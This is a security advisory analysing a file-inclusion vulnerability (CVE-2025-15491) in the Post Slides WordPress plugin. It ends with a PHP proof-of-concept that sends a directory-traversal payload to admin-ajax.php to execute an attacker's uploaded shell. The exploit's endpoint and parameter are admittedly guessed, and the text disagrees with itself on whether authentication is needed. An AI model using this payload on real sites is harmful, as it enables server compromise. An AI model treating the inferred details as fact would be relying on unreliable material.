Atomic Edge analysis of CVE-2025-15491 (metadata-based):
The Post Slides WordPress plugin version 1.0.1 and earlier contains an unauthenticated local file inclusion (LFI) vulnerability. This flaw exists within a plugin component that handles file inclusion, allowing attackers to execute arbitrary PHP code on the server. The CVSS score of 7.5 (High) reflects the high impact of successful exploitation, tempered by a high attack complexity.
Atomic Edge research indicates the root cause is CWE-22, improper path limitation. The vulnerability description states attackers can include and execute arbitrary .php files. This suggests a plugin function uses user-supplied input to construct a file path for inclusion (e.g., include(), require()) without proper validation. The input likely controls a directory traversal sequence (../) or an absolute path, escaping the intended directory. These conclusions are inferred from the CWE classification and public description, as the source code is unavailable for confirmation.
Exploiting this vulnerability requires an attacker to send a crafted HTTP request to a vulnerable plugin endpoint. Based on WordPress plugin patterns, the likely vector is a direct request to a plugin file or an AJAX handler. A realistic payload would target a parameter like ‘file’ or ‘template’ with a value such as ‘../../../../malicious.php’ or a full filesystem path. The attacker must also control a .php file on the server, possibly via a separate upload vulnerability, to achieve code execution.
Effective remediation requires implementing proper path validation. The plugin must sanitize user input used in file operations. A fix should validate the input against an allowlist of permitted files or basenames. The code must also resolve relative paths to prevent directory traversal before inclusion. Input validation should occur before any filesystem operation.
Successful exploitation leads to significant impact. Attackers can execute arbitrary PHP code with the web server’s privileges. This capability enables complete site compromise, sensitive data theft, and backdoor installation. The vulnerability also allows access control bypass by including privileged WordPress core files. In a shared hosting environment, this could lead to cross-site contamination.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-15491 - Post Slides <= 1.0.1 - Authenticated (Contributor+) Local File Inclusion
<?php
/**
* Proof of Concept for CVE-2025-15491.
* This script attempts to exploit a Local File Inclusion vulnerability.
* ASSUMPTIONS: The exact vulnerable endpoint and parameter are inferred.
* The plugin likely has an AJAX action or direct file that accepts a file path.
* The attacker must have a PHP file already on the server (e.g., uploaded via a separate flaw).
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // Common WordPress AJAX endpoint
// The 'action' parameter value is unknown; a common pattern is '{plugin_slug}_action'.
// We attempt a plausible action name based on the plugin slug 'post-slides'.
$post_data = array(
'action' => 'post_slides_action', // INFERRED - The actual AJAX hook name is unknown.
'file' => '../../../../uploads/2025/04/attacker-shell.php' // INFERRED parameter and traversal payload.
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: " . $http_code . "n";
echo "Response Length: " . strlen($response) . "n";
// If the included PHP file executed, its output may appear in the response.
echo "First 500 chars of response:n" . substr($response, 0, 500) . "n";
// Note: This PoC is speculative. Successful exploitation requires the correct endpoint,
// parameter, and an accessible PHP file on the target server.
?>
